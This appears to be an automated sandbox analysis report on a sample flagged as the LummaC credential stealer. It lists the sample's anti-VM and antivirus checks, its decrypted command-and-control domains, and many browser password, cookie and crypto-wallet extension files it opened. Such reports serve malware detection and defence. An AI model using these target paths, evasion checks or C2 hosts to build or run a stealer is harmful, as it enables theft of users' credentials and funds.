
WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

API coverage: 0.0 %

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe TID: 7116

Thread sleep time: -240000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Gz1bBIg2Tw.exe, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D4D000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954310531.0000000001D4D000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778821916.00000000030F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3778889866.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Gz1bBIg2Tw.exe, 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Code function: 6_2_00E16C50 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00E16C50

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Gz1bBIg2Tw.exe PID: 4784, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Gz1bBIg2Tw.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: Gz1bBIg2Tw.exe	String found in binary or memory: Wallets/ElectronCash
Source: Gz1bBIg2Tw.exe	String found in binary or memory: window-state.json
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3826295690.0000000001DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Gz1bBIg2Tw.exe	String found in binary or memory: Wallets/Exodus
Source: Gz1bBIg2Tw.exe	String found in binary or memory: Wallets/Ethereum
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3815998857.0000000001E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Gz1bBIg2Tw.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
